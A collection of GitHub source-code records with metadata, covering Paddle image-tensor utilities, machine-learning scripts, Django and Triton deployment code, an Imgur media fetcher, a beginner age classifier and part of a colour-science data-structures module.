Args:\n        img (paddle.Tensor): Image to be cropped. (0,0) denotes the top left \n            corner of the image.\n        top (int): Vertical component of the top left corner of the crop box.\n        left (int): Horizontal component of the top left corner of the crop box.\n        height (int): Height of the crop box.\n        width (int): Width of the crop box.\n        data_format (str, optional): Data format of img, should be 'HWC' or \n            'CHW'. Default: 'CHW'.\n    Returns:\n        paddle.Tensor: Cropped image.\n    \"\"\"\n    _assert_image_tensor(img, data_format)\n\n    if _is_channel_first(data_format):\n        return img[:, top:top + height, left:left + width]\n    else:\n        return img[top:top + height, left:left + width, :]\n\ndef normalize(img, mean, std, data_format='CHW'):\n    \"\"\"Normalizes a tensor image given mean and standard deviation.\n    Args:\n        img (paddle.Tensor): input data to be normalized.\n        mean (list|tuple): Sequence of means for each channel.\n        std (list|tuple): Sequence of standard deviations for each channel.\n        data_format (str, optional): Data format of img, should be 'HWC' or \n            'CHW'. Default: 'CHW'.\n    Returns:\n        Tensor: Normalized mage.\n    \"\"\"\n    _assert_image_tensor(img, data_format)\n\n    mean = paddle.to_tensor(mean, place=img.place)\n    std = paddle.to_tensor(std, place=img.place)\n    # mean = tlx.convert_to_tensor(mean)\n    # std = tlx.convert_to_tensor(std)\n    if _is_channel_first(data_format):\n        mean = mean.reshape([-1, 1, 1])\n        std = std.reshape([-1, 1, 1])\n\n    return (img - mean) / std\n\n\ndef to_grayscale(img, num_output_channels=1, data_format='CHW'):\n    \"\"\"Converts image to grayscale version of image.\n    Args:\n        img (paddel.Tensor): Image to be converted to grayscale.\n        num_output_channels (int, optionl[1, 3]):\n            if num_output_channels = 1 : returned image is single channel\n            if num_output_channels = 3 : returned image is 3 channel \n        data_format (str, optional): Data format of img, should be 'HWC' or \n            'CHW'. Default: 'CHW'.\n    Returns:\n        paddle.Tensor: Grayscale version of the image.\n    \"\"\"\n    _assert_image_tensor(img, data_format)\n\n    if num_output_channels not in (1, 3):\n        raise ValueError('num_output_channels should be either 1 or 3')\n\n    rgb_weights = paddle.to_tensor([0.2989, 0.5870, 0.1140],\n                                   place=img.place).astype(img.dtype)\n    # rgb_weights = tlx.convert_to_tensor([0.2989, 0.5870, 0.1140]).astype(img.dtype)\n\n    if _is_channel_first(data_format):\n        rgb_weights = rgb_weights.reshape((-1, 1, 1))\n\n    _c_index = _get_image_c_axis(data_format)\n\n    img = (img * rgb_weights).sum(axis=_c_index, keepdim=True)\n    _shape = img.shape\n    _shape[_c_index] = num_output_channels\n\n    return img.expand(_shape)","repo_name":"tensorlayer/Paddle2TLX","sub_path":"paddle2tlx/pd2tlx/ops/tlxops/functional_tensor.py","file_name":"functional_tensor.py","file_ext":"py","file_size_in_byte":10203,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"38"}
{"seq_id":"71776715312","text":"import webbrowser\n\ndef open_favourite_site():\n  daily_website = [\n      \"https://github.com/\",\n      \"http://facebook.com\",\n      \"http://koaci.com\",\n      \"https://outlook.live.com/owa/\",\n      \"http://bbc.co.uk/\",\n      \"https://uk.yahoo.com/\",\n      \"https://linkedin.com/in/basile-koko-1b575b54/\"\n  ]\n\n  for website in daily_website:\n  \twebbrowser.open(website)\n\nopen_favourite_site()\n","repo_name":"BasileKoko/python_review","sub_path":"favourite_website.py","file_name":"favourite_website.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"42364202889","text":"import numpy as np\r\nfrom tensorflow.keras.utils import to_categorical\r\nfrom sklearn.model_selection import StratifiedKFold\r\nfrom tensorflow.keras.models import Sequential\r\nfrom tensorflow.keras.layers import BatchNormalization, InputLayer, Dense, TimeDistributed, Conv2D, MaxPool2D, Flatten, LSTM, Dropout\r\n\r\n\r\ndef decode(datum):\r\n    a = np.zeros((datum.shape[0], 1))\r\n    for j in range(datum.shape[0]):\r\n        a[j] = np.argmax(datum[j])\r\n    return a\r\n\r\n\r\ndef encode(datum):\r\n    return to_categorical(datum)\r\n\r\n\r\nnp.random.seed(1)\r\nK = 10\r\ninner_activation_fun = 'relu'\r\nouter_activation_fun = 'sigmoid'\r\noptimizer_loss_fun = 'mse'\r\noptimizer_algorithm = 'adam'\r\nnumber_inner_layers = 3\r\nnumber_inner_neurons = 256\r\nnumber_epoch = 1\r\nbatch_length = 1\r\nshow_inter_results = 0\r\nverbose = 0\r\n\r\nprint(\"Loading Data ...\")\r\nData = np.loadtxt(r\"C:\\users\\alan9\\Desktop\\Msc\\Research\\My Analysis\\DroneRF-master\\Python\\RF_Data_short.csv\", delimiter=\",\")\r\n\r\n# print(\"Preparing Data ...\")\r\n# x = np.transpose(Data[0:10000, :])\r\n# Label_1 = np.transpose(Data[10000:10001, :])\r\n# Label_1 = Label_1.astype(int)\r\n#\r\n# Label_2 = np.transpose(Data[10001:10002, :])\r\n# Label_2 = Label_2.astype(int)\r\n#\r\n# Label_3 = np.transpose(Data[10002:10003, :])\r\n# Label_3 = Label_3.astype(int)\r\n#\r\n# outputType = [2, 4, 10]\r\n# y = encode(Label_2)\r\n\r\nprint(\"Preparing Data ...\")\r\nx = np.transpose(Data[0:7, :])\r\nLabel_1 = np.transpose(Data[7:8, :])\r\nLabel_1 = Label_1.astype(int)\r\n\r\nLabel_2 = np.transpose(Data[8:9, :])\r\nLabel_2 = Label_2.astype(int)\r\n\r\nLabel_3 = np.transpose(Data[9:10, :])\r\nLabel_3 = Label_3.astype(int)\r\n\r\noutputType = [2, 4, 10]\r\ny = encode(Label_2)\r\n\r\ncvscores = []\r\ncnt = 0\r\nkfold = StratifiedKFold(n_splits=K, shuffle=True, random_state=1)\r\n\r\nprint(\"Starting teaching process ...\")\r\nfor train, test in kfold.split(x, decode(y)):\r\n\r\n    print('Iteration index -- ' + str(cnt/len(train)*100) + ' %')\r\n    cnt = cnt + 1\r\n\r\n    x = x.reshape(x.shape[0], x.shape[1], 1)\r\n    y = y.reshape(1, -1)[0]\r\n\r\n    timesteps = x.shape[1]\r\n    n_features = 1\r\n    model = Sequential()\r\n    model.add(LSTM(100, input_shape=(timesteps, n_features)))\r\n    model.add(Dropout(0.5))\r\n    model.add(Dense(100, activation='relu'))\r\n    model.add(Dense(1, activation='softmax'))\r\n    model.compile(loss=optimizer_loss_fun, optimizer=optimizer_algorithm, metrics=['accuracy'])\r\n\r\n    model.fit(x[train], y[train], epochs=number_epoch, batch_size=batch_length, verbose=show_inter_results)\r\n    scores = model.evaluate(x[test], y[test], verbose=show_inter_results)\r\n\r\n    print(scores[1] * 100)\r\n    cvscores.append(scores[1] * 100)\r\n    y_pred = model.predict(x[test])\r\n    np.savetxt(\"Results_2%s.csv\" % cnt, np.column_stack((y[test], y_pred)), delimiter=\",\", fmt='%s')\r\n\r\n","repo_name":"alanfrid/DroneRFClassification","sub_path":"Classification_LSTM.py","file_name":"Classification_LSTM.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"6360110397","text":"from tokenization.models import Word, Numeral\r\nfrom tokenization.forms import NumeralForm\r\n\r\nclass NumParser:\r\n\r\n  def data_from_request(self, request):\r\n    self.form = NumeralForm(request.POST)\r\n    self.post = request.POST\r\n\r\n  def save(self):\r\n    wrd = Word()\r\n    wrd.word = self.post.get('word')\r\n    wrd.pos = 'num'\r\n    wrd.save()\r\n\r\n    if self.form.is_valid():\r\n      num = self.form.save()\r\n      num.parent = wrd\r\n      num.save()\r\n\r\n  def parse_html(self):\r\n    return '{}'.format('num'.upper())","repo_name":"YerevaNN/armtreebank","sub_path":"parsers/parser_num.py","file_name":"parser_num.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"}
{"seq_id":"41377419497","text":"from django.db import transaction\n\nfrom food_ordering.orders.models import Order, OrderFood\nfrom food_ordering.orders.pubsub import orders_pubsub_service\n\n\nclass OrderService:\n    @staticmethod\n    @transaction.atomic()\n    def create_order(user, restaurant, orderfood_set):\n        order = Order.objects.create(user=user, restaurant=restaurant)\n\n        orderfood_objs = [OrderFood(order=order, **orderfood) for orderfood in orderfood_set]\n        OrderFood.objects.bulk_create(orderfood_objs)\n\n        # Publish order to pubsub channel\n        OrderService.publish_order(order)\n\n        return order\n\n    @staticmethod\n    def publish_order(order: Order):\n        orders_pubsub_service.publish(str(order.uuid))\n        order.status = Order.OrderStatus.WAITING\n        order.save()\n\n    @staticmethod\n    def process_orders():\n        orders_pubsub_service.process_subscribers()\n","repo_name":"muhammet-mucahit/food-ordering","sub_path":"food_ordering/orders/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"41166806038","text":"import pathlib\n\nif __name__ == \"__main__\" and __package__ is None:\n    __package__ = pathlib.Path(__file__).parent.name\n\nfrom .pipeline import Pipeline\n\npipeline = Pipeline()\npipeline.model_export(\n    commands=(\n        r\"\"\"\n        python3 triton/export_model.py \\\n            --input-path triton/model.py \\\n            --input-type tf-keras \\\n            --output-path ${SHARED_DIR}/exported_model.savedmodel \\\n            --output-type ${EXPORT_FORMAT} \\\n            --ignore-unknown-parameters \\\n            \\\n            --checkpoint-dir ${CHECKPOINT_DIR}/checkpoint \\\n            --batch-size ${MAX_BATCH_SIZE} \\\n            --precision ${EXPORT_PRECISION} \\\n            \\\n            --dataloader triton/dataloader.py \\\n            --batch-size ${MAX_BATCH_SIZE} \\\n            --data-pattern \"${DATASETS_DIR}/outbrain/valid/*.parquet\"\n        \"\"\",\n    )\n)\npipeline.model_conversion(\n    commands=(\n        r\"\"\"\n        model-navigator convert \\\n            --model-name ${MODEL_NAME} \\\n            --model-path ${SHARED_DIR}/exported_model.savedmodel \\\n            --output-path ${SHARED_DIR}/converted_model \\\n            --target-formats ${FORMAT} \\\n            --target-precisions ${PRECISION} \\\n            --launch-mode local \\\n            --override-workspace \\\n            --verbose \\\n            \\\n            --onnx-opsets 13 \\\n            --max-batch-size ${MAX_BATCH_SIZE} \\\n            --max-workspace-size 8589934592 \\\n            --atol wide_deep_model=0.015 \\\n            --rtol wide_deep_model=12.0\n        \"\"\",\n    )\n)\n\npipeline.model_deploy(\n    commands=(\n        r\"\"\"\n        model-navigator triton-config-model \\\n            --model-repository ${MODEL_REPOSITORY_PATH} \\\n            --model-name ${MODEL_NAME} \\\n            --model-version 1 \\\n            --model-path ${SHARED_DIR}/converted_model \\\n            --model-format ${FORMAT} \\\n            --model-control-mode explicit \\\n            --load-model \\\n            --load-model-timeout-s 120 \\\n            --verbose \\\n            \\\n            --batching ${MODEL_BATCHING} \\\n            --backend-accelerator ${BACKEND_ACCELERATOR} \\\n            --tensorrt-precision ${PRECISION} \\\n            --tensorrt-capture-cuda-graph \\\n            --max-batch-size ${MAX_BATCH_SIZE} \\\n            --preferred-batch-sizes ${MAX_BATCH_SIZE} \\\n            --engine-count-per-device ${DEVICE_KIND}=${NUMBER_OF_MODEL_INSTANCES}\n        \"\"\",\n    )\n)\npipeline.triton_performance_offline_tests(\n    commands=(\n        r\"\"\"\n        python triton/run_performance_on_triton.py \\\n            --model-repository ${MODEL_REPOSITORY_PATH} \\\n            --model-name ${MODEL_NAME} \\\n            --input-data random \\\n            --batch-sizes ${MEASUREMENT_OFFLINE_BATCH_SIZES} \\\n            --concurrency ${MEASUREMENT_OFFLINE_CONCURRENCY} \\\n            --performance-tool ${PERFORMANCE_TOOL} \\\n            --measurement-request-count 100 \\\n            --evaluation-mode offline \\            \n            --warmup \\\n            --result-path ${SHARED_DIR}/triton_performance_offline.csv\n        \"\"\",\n    ),\n    result_path=\"${SHARED_DIR}/triton_performance_offline.csv\",\n)\npipeline.triton_performance_online_tests(\n    commands=(\n        r\"\"\"\n        python triton/run_performance_on_triton.py \\\n            --model-repository ${MODEL_REPOSITORY_PATH} \\\n            --model-name ${MODEL_NAME} \\\n            --input-data random \\\n            --batch-sizes ${MEASUREMENT_ONLINE_BATCH_SIZES} \\\n            --concurrency ${MEASUREMENT_ONLINE_CONCURRENCY} \\\n            --performance-tool ${PERFORMANCE_TOOL} \\\n            --measurement-request-count 500 \\\n            --evaluation-mode online \\\n            --warmup \\\n            --result-path ${SHARED_DIR}/triton_performance_online.csv\n        \"\"\",\n    ),\n    result_path=\"${SHARED_DIR}/triton_performance_online.csv\",\n)","repo_name":"NVIDIA/DeepLearningExamples","sub_path":"TensorFlow2/Recommendation/WideAndDeep/triton/runner/pipeline_impl.py","file_name":"pipeline_impl.py","file_ext":"py","file_size_in_byte":3830,"program_lang":"python","lang":"en","doc_type":"code","stars":11741,"dataset":"github-code","pt":"38"}
{"seq_id":"70281551792","text":"\"\"\"Service for Imgur images and videos.\"\"\"\nimport json\nimport os\nimport re\nfrom typing import Any\nfrom urllib.parse import urlparse\n\nimport requests\nfrom requests import Response\n\nfrom ..models.content_type import ContentType\nfrom ..models.media import Media\nfrom .service import Service\n\n\nclass Imgur(Service):\n    \"\"\"Service for Imgur images and videos.\"\"\"\n\n    @classmethod\n    def preprocess(cls, url: str, data: Any) -> str:\n        \"\"\"\n        Override of `pyreddit.services.service.Service.preprocess` method.\n\n        Gets the media hash from the url and creates the accepted provider media\n        url.\n        \"\"\"\n        media_hash: str = urlparse(url).path.rpartition(\"/\")[2]\n        r = re.compile(r\"image|gallery\").search(url)\n        api: str = r.group() if r else \"image\"\n        if \".\" in media_hash:\n            media_hash = media_hash.rpartition(\".\")[0]\n        return f\"https://api.imgur.com/3/{api}/{media_hash}\"\n\n    @classmethod\n    def get(cls, url: str) -> Response:\n        \"\"\"\n        Override of `pyreddit.services.service.Service.get` method.\n\n        Makes an API call with the client ID as authorization.\n        \"\"\"\n        return requests.get(\n            url,\n            headers={\n                \"Authorization\": f\"Client-ID {os.getenv('IMGUR_CLIENT_ID')}\"  # type: ignore\n            },\n        )\n\n    @classmethod\n    def postprocess(cls, response) -> Media:\n        \"\"\"\n        Override of `pyreddit.services.service.Service.postprocess` method.\n\n        Creates the right media object based on the size of provider's media.\n        \"\"\"\n        data: Any = json.loads(response.content)[\"data\"]\n        media: Media\n        if \"images\" in data:\n            data = data[\"images\"][0]\n        if \"image/jpeg\" in data[\"type\"] or \"image/png\" in data[\"type\"]:\n            media = Media(data[\"link\"], ContentType.PHOTO, data[\"size\"])\n        elif \"video\" or \"image/gif\" in data[\"type\"]:\n            media = Media(data[\"mp4\"], ContentType.VIDEO, data[\"mp4_size\"])\n\n        return media\n","repo_name":"fabiosangregorio/pyreddit","sub_path":"pyreddit/services/imgur_service.py","file_name":"imgur_service.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74725628591","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Aug  3 23:26:12 2019\n\n@author: pawan\n\"\"\"\n\n\"\"\"Air QualityUCI data\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\n\n#importing and visualizing data\nair_data = pd.read_excel('AirQualityUCI.xlsx')\n\nair_data.head()\nair_data.shape\n\n#dropping ueless information from the data\n\nair_data.dropna(axis=0, how='all')\n\nfeatures=air_data\nfeatures = features.drop('Date', axis=1)\nfeatures = features.drop('Time', axis=1)\nfeatures = features.drop('C6H6(GT)', axis=1)\nfeatures = features.drop('PT08.S4(NO2)', axis=1)\nfeatures\n\nlabels = air_data['C6H6(GT)']\n#features=features.values\n\n#training and testing \n\nfrom sklearn.model_selection import train_test_split\n\nX_train,X_test,Y_train,Y_test = train_test_split(features,labels,test_size=.2)\n\n\n#applying differebt regression models\n\n#1. Linear\n\nfrom sklearn.linear_model import LinearRegression\nregressor=LinearRegression()\nregressor.fit(X_train,Y_train)\n\nY_pred=regressor.predict(X_test)\n\n\n#2. Polynomial \n\nfrom sklearn.preprocessing import PolynomialFeatures\nPoly=PolynomialFeatures(degree=4)\nX_train_poly=Poly.fit_transform(X_train)\nX_test_poly=Poly.fit_transform(X_test)\nregressor.fit(X_train_poly,Y_train)\nY_pred_poly=regressor.predict(X_test_poly)\n\n#3. Support Vector Regression\n\n     #feature scaling\n     \nfrom sklearn.preprocessing import StandardScaler\nX_sc=StandardScaler()\nY_sc=StandardScaler()\nY_train=Y_train.values.reshape(-1,1) #<did this to resshape 1D to 2D>\nX_train_sc=X_sc.fit_transform(X_train)\nY_train_sc=Y_sc.fit_transform(Y_train)\n#Y_test=Y_test.values.reshape(-1,1)\nX_test_sc=X_sc.fit_transform(X_test)\nY_test_sc=Y_sc.fit_transform(Y_test)\n\n   #building the svr\nfrom sklearn.svm import SVR\nsvmregressor=SVR(kernel='rbf',C=1000)\nsvmregressor.fit(X_train_sc,Y_train_sc)\n\nY_pred_svr=svmregressor.predict(X_test_sc)\n\nY_pred_svr=Y_sc.inverse_transform(Y_pred_svr)\n\n\n#4. Decision tree regression\n\nfrom sklearn.tree import DecisionTreeRegressor\n\nDT=DecisionTreeRegressor()\nDT.fit(X_train,Y_train)\n  #feature importances in DTR\nprint(DT.feature_importances_)\nfeatureimpDT=np.argsort(DT.feature_importances_)[::-1]\nY_pred_DT=DT.predict(X_test)\n\n\n#5. Lasso Regression\n\nfrom sklearn.linear_model import Lasso\n\nclassifier=Lasso(alpha=1)\nclassifier.fit(X_train,Y_train)\n\nY_pred_L=classifier.predict(X_test)\n\n#6. ExtraTreeRegressor\n\nfrom sklearn.ensemble import ExtraTreesRegressor\netr=ExtraTreesRegressor(n_estimators=300)\netr.fit(X_train,Y_train)\n\n#Feature Importances on ETR\nprint(etr.feature_importances_)\nindecis = np.argsort(etr.feature_importances_)[::-1]\nplt.figure(num=None, figsize=(14, 10), dpi=80, facecolor='w')\nplt.title(\"Feature importances\")\nplt.bar(range(X_train.shape[1]), etr.feature_importances_[indecis],\n       color=\"r\", align=\"center\")\nplt.xticks(range(X_train.shape[1]), indecis)\nplt.show()\n","repo_name":"blazeblizzard/Machine-Learning-Projects","sub_path":"AirQualityUCI Benzene prediction project/AirQualityUCI prediction with LR,PR,DTR,Lasso,ETR.py","file_name":"AirQualityUCI prediction with LR,PR,DTR,Lasso,ETR.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"21610610786","text":"# CTI-110 \r\n# M3HW1 - Age Classifier \r\n# Lisa Cannon\r\n# 24SEP17\r\n\r\n\r\ndef main():\r\n    # Program to determine a person's stage in life based off age\r\n\r\n    infant = 1\r\n    child = 13\r\n    teenager = 20\r\n    adult = 21\r\n\r\n    age = int(input('Enter age: '))\r\n\r\n    if age <= infant:\r\n        print ('You are an Infant')\r\n##\r\n    if age <= child:\r\n        print ('You are a Child.')\r\n\r\n    elif age <= teenager:\r\n        print ('You are a Teenager.')\r\n\r\n    elif age >= adult:\r\n        print ('You are an Adult.')\r\n        \r\n# program start\r\nmain ()\r\n","repo_name":"lncannon/cti110","sub_path":"M3HW1_AgeClassifier_Cannon.py","file_name":"M3HW1_AgeClassifier_Cannon.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"39014262654","text":"\"\"\"\nData Structures\n===============\n\nDefines various data structures classes:\n\n-   :class:`colour.utilities.Structure`: An object similar to C/C++ structured\n    type.\n-   :class:`colour.utilities.Lookup`: A :class:`dict` sub-class acting as a\n    lookup to retrieve keys by values.\n-   :class:`CaseInsensitiveMapping`: A case insensitive\n    :class:`dict`-like object allowing values retrieving from keys while\n    ignoring the key case.\n-   :class:`colour.utilities.LazyCaseInsensitiveMapping`: Another case\n    insensitive mapping allowing lazy values retrieving from keys while\n    ignoring the key case.\n-   :class:`colour.utilities.Node`: A basic node object supporting creation of\n    basic node trees.\n\nReferences\n----------\n-   :cite:`Mansencalc` : Mansencal, T. (n.d.). Lookup.\n    https://github.com/KelSolaar/Foundations/blob/develop/foundations/\\\ndata_structures.py\n-   :cite:`Rakotoarison2017` : Rakotoarison, H. (2017). Bunch. Retrieved\n    December 4, 2021, from https://github.com/scikit-learn/scikit-learn/blob/\\\n0d378913b/sklearn/utils/__init__.py#L83\n-   :cite:`Reitza` : Reitz, K. (n.d.). CaseInsensitiveDict.\n    https://github.com/kennethreitz/requests/blob/v1.2.3/requests/\\\nstructures.py#L37\n\"\"\"\n\nfrom __future__ import annotations\n\nfrom collections.abc import MutableMapping\n\nfrom colour.hints import (\n    Any,\n    Boolean,\n    Dict,\n    Generator,\n    Integer,\n    Iterable,\n    List,\n    Mapping,\n    Optional,\n    Union,\n)\nfrom colour.utilities.documentation import is_documentation_building\n\n__author__ = \"Colour Developers\"\n__copyright__ = \"Copyright 2013 Colour Developers\"\n__license__ = \"New BSD License - https://opensource.org/licenses/BSD-3-Clause\"\n__maintainer__ = \"Colour Developers\"\n__email__ = \"colour-developers@colour-science.org\"\n__status__ = \"Production\"\n\n__all__ = [\n    \"attest\",\n    \"Structure\",\n    \"Lookup\",\n    \"CaseInsensitiveMapping\",\n    \"LazyCaseInsensitiveMapping\",\n    \"Node\",\n]\n\n\ndef attest(condition: Boolean, message: str = \"\"):\n    \"\"\"\n    Provide the `assert` statement functionality without being disabled by\n    optimised Python execution.\n\n    See :func:`colour.utilities.assert` for more information.\n\n    Notes\n    -----\n    -   This definition is duplicated to avoid import circular dependency.\n    \"\"\"\n\n    # Avoiding circular dependency.\n    import colour.utilities\n\n    colour.utilities.attest(condition, message)\n\n\nclass Structure(dict):\n    \"\"\"\n    Define a :class:`dict`-like object allowing to access key values using dot\n    syntax.\n\n    Other Parameters\n    ----------------\n    args\n        Arguments.\n    kwargs\n        Key / value pairs.\n\n    Methods\n    -------\n    -   :meth:`~colour.utilities.Structure.__init__`\n    -   :meth:`~colour.utilities.Structure.__setattr__`\n    -   :meth:`~colour.utilities.Structure.__delattr__`\n    -   :meth:`~colour.utilities.Structure.__dir__`\n    -   :meth:`~colour.utilities.Structure.__getattr__`\n    -   :meth:`~colour.utilities.Structure.__setstate__`\n\n    References\n    ----------\n    :cite:`Rakotoarison2017`\n\n    Examples\n    --------\n    >>> person = Structure(first_name='John', last_name='Doe', gender='male')\n    >>> person.first_name\n    'John'\n    >>> sorted(person.keys())\n    ['first_name', 'gender', 'last_name']\n    >>> person['gender']\n    'male'\n    \"\"\"\n\n    def __init__(self, *args: Any, **kwargs: Any):\n        super().__init__(*args, **kwargs)\n\n    def __setattr__(self, name: str, value: Any):\n        \"\"\"\n        Assign given value to the attribute with given name.\n\n        Parameters\n        ----------\n        name\n            Name of the attribute to assign the ``value`` to.\n        value\n            Value to assign to the attribute.\n        \"\"\"\n\n        self[name] = value\n\n    def __delattr__(self, name: str):\n        \"\"\"\n        Delete the attribute with given name.\n\n        Parameters\n        ----------\n        name\n            Name of the attribute to delete.\n        \"\"\"\n\n        del self[name]\n\n    def __dir__(self) -> Iterable:\n        \"\"\"\n        Return a list of valid attributes for the :class:`dict`-like object.\n\n        Returns\n        -------\n        :class:`list`\n            List of valid attributes for the :class:`dict`-like object.\n        \"\"\"\n\n        return self.keys()\n\n    def __getattr__(self, name: str) -> Any:\n        \"\"\"\n        Return the value from the attribute with given name.\n\n        Parameters\n        ----------\n        name\n            Name of the attribute to get the value from.\n\n        Returns\n        -------\n        :class:`object`\n\n        Raises\n        ------\n        AttributeError\n            If the attribute is not defined.\n        \"\"\"\n\n        try:\n            return self[name]\n        except KeyError:\n            raise AttributeError(name)\n\n    def __setstate__(self, state):\n        \"\"\"Set the object state when unpickling.\"\"\"\n        # See https://github.com/scikit-learn/scikit-learn/issues/6196 for more\n        # information.\n\n        pass\n\n\nclass Lookup(dict):\n    \"\"\"\n    Extend :class:`dict` type to provide a lookup by value(s).\n\n    Methods\n    -------\n    -   :meth:`~colour.utilities.Lookup.keys_from_value`\n    -   :meth:`~colour.utilities.Lookup.first_key_from_value`\n\n    References\n    ----------\n    :cite:`Mansencalc`\n\n    Examples\n    --------\n    >>> person = Lookup(first_name='John', last_name='Doe', gender='male')\n    >>> person.first_key_from_value('John')\n    'first_name'\n    >>> persons = Lookup(John='Doe', Jane='Doe', Luke='Skywalker')\n    >>> sorted(persons.keys_from_value('Doe'))\n    ['Jane', 'John']\n    \"\"\"\n\n    def keys_from_value(self, value: Any) -> List:\n        \"\"\"\n        Get the keys associated with given value.\n\n        Parameters\n        ----------\n        value\n            Value to find the associated keys.\n\n        Returns\n        -------\n        :class:`list`\n            Keys associated with given value.\n        \"\"\"\n\n        keys = []\n        for key, data in self.items():\n            matching = data == value\n            try:\n                matching = all(matching)\n\n            except TypeError:\n                matching = all((matching,))\n\n            if matching:\n                keys.append(key)\n\n        return keys\n\n    def first_key_from_value(self, value: Any) -> Any:\n        \"\"\"\n        Get the first key associated with given value.\n\n        Parameters\n        ----------\n        value\n            Value to find the associated first key.\n\n        Returns\n        -------\n        :class:`object`\n            First key associated with given value.\n        \"\"\"\n\n        return self.keys_from_value(value)[0]\n\n\nclass CaseInsensitiveMapping(MutableMapping):\n    \"\"\"\n    Implement a case-insensitive :class:`dict`-like object.\n\n    Allows values retrieving from keys while ignoring the key case.\n    The keys are expected to be str or :class:`str`-like objects supporting the\n    :meth:`str.lower` method.\n\n    Parameters\n    ----------\n    data\n        Data to store into the case-insensitive :class:`dict`-like object at\n        initialisation.\n\n    Other Parameters\n    ----------------\n    kwargs\n        Key / value pairs to store into the mapping at initialisation.\n\n    Attributes\n    ----------\n    -   :attr:`~colour.utilities.CaseInsensitiveMapping.data`\n\n    Methods\n    -------\n    -   :meth:`~colour.utilities.CaseInsensitiveMapping.__init__`\n    -   :meth:`~colour.utilities.CaseInsensitiveMapping.__repr__`\n    -   :meth:`~colour.utilities.CaseInsensitiveMapping.__setitem__`\n    -   :meth:`~colour.utilities.CaseInsensitiveMapping.__getitem__`\n    -   :meth:`~colour.utilities.CaseInsensitiveMapping.__delitem__`\n    -   :meth:`~colour.utilities.CaseInsensitiveMapping.__contains__`\n    -   :meth:`~colour.utilities.CaseInsensitiveMapping.__iter__`\n    -   :meth:`~colour.utilities.CaseInsensitiveMapping.__len__`\n    -   :meth:`~colour.utilities.CaseInsensitiveMapping.__eq__`\n    -   :meth:`~colour.utilities.CaseInsensitiveMapping.__ne__`\n    -   :meth:`~colour.utilities.CaseInsensitiveMapping.copy`\n    -   :meth:`~colour.utilities.CaseInsensitiveMapping.lower_items`\n\n    References\n    ----------\n    :cite:`Reitza`\n\n    Examples\n    --------\n    >>> methods = CaseInsensitiveMapping({'McCamy': 1, 'Hernandez': 2})\n    >>> methods['mccamy']\n    1\n    \"\"\"\n\n    def __init__(\n        self, data: Optional[Union[Generator, Mapping]] = None, **kwargs: Any\n    ):\n        self._data: Dict = dict()\n\n        self.update({} if data is None else data, **kwargs)\n\n    @property\n    def data(self) -> Dict:\n        \"\"\"\n        Getter property for the case-insensitive :class:`dict`-like object\n        data.\n\n        Returns\n        -------\n        :class:`dict`\n            Data.\n        \"\"\"\n\n        return self._data\n\n    def __repr__(self) -> str:\n        \"\"\"\n        Return an evaluable string representation of the case-insensitive\n        :class:`dict`-like object.\n\n        Returns\n        -------\n        :class:`str`\n            Evaluable string representation.\n        \"\"\"\n\n        if is_documentation_building():  # pragma: no cover\n            representation = repr(\n                dict(zip(self.keys(), [\"...\"] * len(self)))\n            ).replace(\"'...'\", \"...\")\n            return f\"{self.__class__.__name__}({representation})\"\n        else:\n            return f\"{self.__class__.__name__}({dict(self.items())})\"\n\n    def __setitem__(self, item: Union[str, Any], value: Any):\n        \"\"\"\n        Set given item with given value in the case-insensitive\n        :class:`dict`-like object.\n\n        Parameters\n        ----------\n        item\n            Item to set in the case-insensitive :class:`dict`-like object.\n        value\n            Value to store in the case-insensitive :class:`dict`-like object.\n\n        Notes\n        -----\n        -   The item is stored as lower-case while the original name and its\n            value are stored together as the value in a *tuple*::\n\n            {\"item.lower()\": (\"item\", value)}\n        \"\"\"\n\n        self._data[self._lower_key(item)] = (item, value)\n\n    def __getitem__(self, item: Union[str, Any]) -> Any:\n        \"\"\"\n        Return the value of given item from the case-insensitive\n        :class:`dict`-like object.\n\n        Parameters\n        ----------\n        item\n            Item to retrieve the value of from the case-insensitive\n            :class:`dict`-like object.\n\n        Returns\n        -------\n        :class:`object`\n            Item value.\n\n        Notes\n        -----\n        -   The item value is retrieved by using its lower-case variant.\n        \"\"\"\n\n        return self._data[self._lower_key(item)][1]\n\n    def __delitem__(self, item: Union[str, Any]):\n        \"\"\"\n        Delete given item from the case-insensitive :class:`dict`-like object.\n\n        Parameters\n        ----------\n        item\n            Item to delete from the case-insensitive :class:`dict`-like object.\n\n        Notes\n        -----\n        -   The item is deleted by using its lower-case variant.\n        \"\"\"\n\n        del self._data[self._lower_key(item)]\n\n    def __contains__(self, item: Union[str, Any]) -> bool:\n        \"\"\"\n        Return whether the case-insensitive :class:`dict`-like object contains\n        given item.\n\n        Parameters\n        ----------\n        item\n            Item to find whether it is in the case-insensitive\n            :class:`dict`-like object.\n\n        Returns\n        -------\n        :class:`bool`\n            Whether given item is in the case-insensitive :class:`dict`-like\n            object.\n        \"\"\"\n\n        return self._lower_key(item) in self._data\n\n    def __iter__(self) -> Generator:\n        \"\"\"\n        Iterate over the items of the case-insensitive :class:`dict`-like\n        object.\n\n        Yields\n        ------\n        Generator\n            Item generator.\n\n        Notes\n        -----\n        -   The iterated items are the original items.\n        \"\"\"\n\n        return (item for item, value in self._data.values())\n\n    def __len__(self) -> Integer:\n        \"\"\"\n        Return the items count.\n\n        Returns\n        -------\n        :class:`numpy.integer`\n            Items count.\n        \"\"\"\n\n        return len(self._data)\n\n    def 